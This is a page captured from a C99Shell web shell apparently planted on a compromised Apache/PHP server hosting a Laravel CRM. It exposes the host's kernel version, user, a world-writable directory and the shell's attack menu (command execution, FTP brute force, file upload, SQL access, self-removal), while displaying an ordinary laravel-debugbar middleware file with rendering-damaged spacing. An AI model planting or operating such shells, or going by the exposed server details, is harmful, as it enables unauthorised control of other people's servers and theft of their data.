!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/barryvdh/laravel-debugbar/src/Middleware/   drwxrwxrwx
Free 13.09 GB of 57.97 GB (22.59%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InjectDebugbar.php (2.68 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Barryvdh\Debugbar\Middleware;

use 
Closure;
use 
Exception;
use 
Illuminate\Http\Request;
use 
Barryvdh\Debugbar\LaravelDebugbar;
use 
Illuminate\Contracts\Container\Container;
use 
Illuminate\Contracts\Debug\ExceptionHandler;
use 
Throwable;

class 
InjectDebugbar
{
    
/**
     * The App container
     *
     * @var Container
     */
    
protected $container;

    
/**
     * The DebugBar instance
     *
     * @var LaravelDebugbar
     */
    
protected $debugbar;

    
/**
     * The URIs that should be excluded.
     *
     * @var array
     */
    
protected $except = [];

    
/**
     * Create a new middleware instance.
     *
     * @param  Container $container
     * @param  LaravelDebugbar $debugbar
     */
    
public function __construct(Container $containerLaravelDebugbar $debugbar)
    {
        
$this->container $container;
        
$this->debugbar $debugbar;
        
$this->except config('debugbar.except') ?: [];
    }

    
/**
     * Handle an incoming request.
     *
     * @param  Request  $request
     * @param  Closure  $next
     * @return mixed
     */
    
public function handle($requestClosure $next)
    {
        if (!
$this->debugbar->isEnabled() || $this->inExceptArray($request)) {
            return 
$next($request);
        }

        
$this->debugbar->boot();

        try {
            
/** @var \Illuminate\Http\Response $response */
            
$response $next($request);
        } catch (
Throwable $e) {
            
$response $this->handleException($request$e);
        }

        
// Modify the response to add the Debugbar
        
$this->debugbar->modifyResponse($request$response);

        return 
$response;
    }

    
/**
     * Handle the given exception.
     *
     * (Copy from Illuminate\Routing\Pipeline by Taylor Otwell)
     *
     * @param $passable
     * @param  Throwable $e
     * @return mixed
     * @throws Exception
     */
    
protected function handleException($passable$e)
    {
        if (! 
$this->container->bound(ExceptionHandler::class) || ! $passable instanceof Request) {
            throw 
$e;
        }

        
$handler $this->container->make(ExceptionHandler::class);

        
$handler->report($e);

        return 
$handler->render($passable$e);
    }

    
/**
     * Determine if the request has a URI that should be ignored.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return bool
     */
    
protected function inExceptArray($request)
    {
        foreach (
$this->except as $except) {
            if (
$except !== '/') {
                
$except trim($except'/');
            }

            if (
$request->is($except)) {
                return 
true;
            }
        }

        return 
false;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--